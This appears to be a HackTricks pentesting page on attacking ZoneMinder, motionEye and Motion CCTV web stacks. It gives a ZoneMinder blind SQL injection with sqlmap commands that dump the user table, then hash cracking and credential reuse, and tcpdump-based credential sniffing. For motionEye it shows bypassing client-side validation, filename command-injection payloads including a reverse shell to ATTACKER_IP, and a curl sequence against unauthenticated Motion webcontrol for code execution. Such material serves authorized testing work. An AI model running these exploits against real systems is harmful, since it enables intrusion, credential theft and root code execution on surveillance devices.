// HackTricks · Network Services

ZoneMinder, motionEye & Motion

ZoneMinder, motionEye & Motion

Quick triage

When a target exposes a CCTV / NVR web stack, look for combinations such as:

  • ZoneMinder under paths like /zm/
  • motionEye on 127.0.0.1:8765
  • Motion webcontrol on 127.0.0.1:7999
  • RTSP / video side services such as 8554, 1935, or local image streams

After host access, the most interesting files are commonly:

  • /etc/motioneye/motioneye.conf
  • /etc/motioneye/*.conf
  • ZoneMinder web sources / config revealing the DB name, tables, and auth model[1]

ZoneMinder

ZoneMinder is an open-source video-surveillance platform; its source tree is useful for mapping routes, database access, authentication, and version-specific behavior during an authorized review.[2]

Default credentials and versioning

ZoneMinder is commonly worth checking for:

  • default credentials such as admin:admin
  • exposed version information in the UI
  • local source code / package version to map to known auth-only bugs

Blind SQLi in action=removetag

In vulnerable ZoneMinder 1.37.* <= 1.37.64, the tid parameter in:

/zm/index.php?view=request&request=event&action=removetag&tid=1

can reach code that safely uses $_REQUEST['tid'] in one query and then later concatenates it into:[1]

$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";

Useful workflow:

  1. Prove injection with a time-based payload such as SLEEP(5).
  2. Check if a faster Boolean oracle exists by appending conditions that preserve or break the response.
  3. Determine the UNION column count.
  4. Feed the working shape to sqlmap instead of waiting for slow time-based extraction.

Example from a real exploitation chain where the original query accepted 4 columns and HTTP 200 indicated True:[1]

sqlmap -r removetag.request -p tid --batch \
  --prefix="1 UNION SELECT 1,2,3,4 WHERE " \
  --code 200 --technique=B --flush-session

Then enumerate only what matters:

sqlmap -r removetag.request -p tid --batch \
  --prefix="1 UNION SELECT 1,2,3,4 WHERE " \
  --code 200 --technique=B \
  -D zm -T Users -C Username,Password,Name,Email --dump

This is especially useful when the application provides a better Boolean signal than sqlmap initially discovers by itself.

Turning app SQLi into OS access

ZoneMinder user dumps are high-value because they often contain reusable operator credentials.[1]

  • Identify the hash type first (for example bcrypt / $2y$).
  • Crack only the extracted application users.
  • Test reuse against SSH, su, SMB, VPN, or other operator-facing services.

Example bcrypt cracking flow:

hashcat zm.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --user -m 3200

Post-foothold: sniffing internal creds with tcpdump capabilities

On Linux CCTV appliances, low-privileged shells sometimes inherit useful file capabilities instead of sudo.[1]

Check for capture primitives:

getcap -r / 2>/dev/null

If tcpdump has cap_net_raw (or cap_net_admin,cap_net_raw), capture local traffic even as a non-root user:

timeout 120 tcpdump -i any -w /tmp/capture.pcap

This is especially valuable when:

  • loopback / bridge services are doing cleartext internal auth
  • Docker bridges expose custom management channels
  • /proc is mounted with hidepid, reducing normal process visibility

Review the pcap in Wireshark and prioritise:

  • Conversations
  • Protocol Hierarchy
  • Follow TCP Stream on local / container management ports

motionEye / Motion

motionEye is a web frontend for the Motion daemon. Review both projects because a value validated or signed by motionEye can later be written to Motion configuration and consumed under Motion’s own parsing and hook semantics.[3][4]

Signed requests + client-side-only validation

motionEye signs config requests with _signature, so directly editing a captured JSON body normally breaks the request. However, some dangerous fields are only protected by client-side JavaScript validation.[1]

A practical approach is:

  1. Use the legitimate UI so the browser generates a valid _signature.
  2. In DevTools, neutralise the validator, for example:
configUiValid = function() { return true; };
  1. Submit the malicious value through the normal UI workflow.

This is useful when the UI blocks characters such as $, but the backend still accepts them.

Filename-to-shell command injection

In vulnerable motionEye / Motion setups, fields such as image_file_name or picture_filename are written into Motion configuration and later propagated into shell-executed hooks such as on_picture_save ... %f.[1]

If the saved filename contains shell substitution like $(...), the shell expands it before the hook runs.[1]

Probe payloads:

$(id)
$(ping -c 1 ATTACKER_IP)
$(bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1')

If the Motion process or hook executes as root, this becomes root RCE.

Unauthenticated localhost Motion webcontrol

If Motion webcontrol is reachable and unauthenticated, test it directly:[1]

curl -s http://127.0.0.1:7999/

If advanced parameters are exposed (for example webcontrol_parms 2), you may be able to set filename-related options even when direct on_* hooks are protected.

Minimal exploitation sequence:

curl -s "http://127.0.0.1:7999/1/config/set?picture_output=on"
curl -s "http://127.0.0.1:7999/1/config/set?picture_filename=%24(touch%20/tmp/pwned)"
curl -s "http://127.0.0.1:7999/1/config/set?emulate_motion=on"

Why this works:

  • Motion saves a file using the attacker-controlled filename.
  • The file path is later inserted as %f into on_picture_save.
  • The hook is executed through a shell, so $(...) runs first.

Stored SHA1 hash accepted as a login secret

If you can read @admin_password from motionEye config, do not assume you must crack it first.[1]

Some motionEye builds store:

@admin_password = sha1(real_password)

and then accept request signatures computed using the stored hash-derived secret. In practice, this means the stored SHA1 may itself be usable as the login secret for the admin UI.[1]

References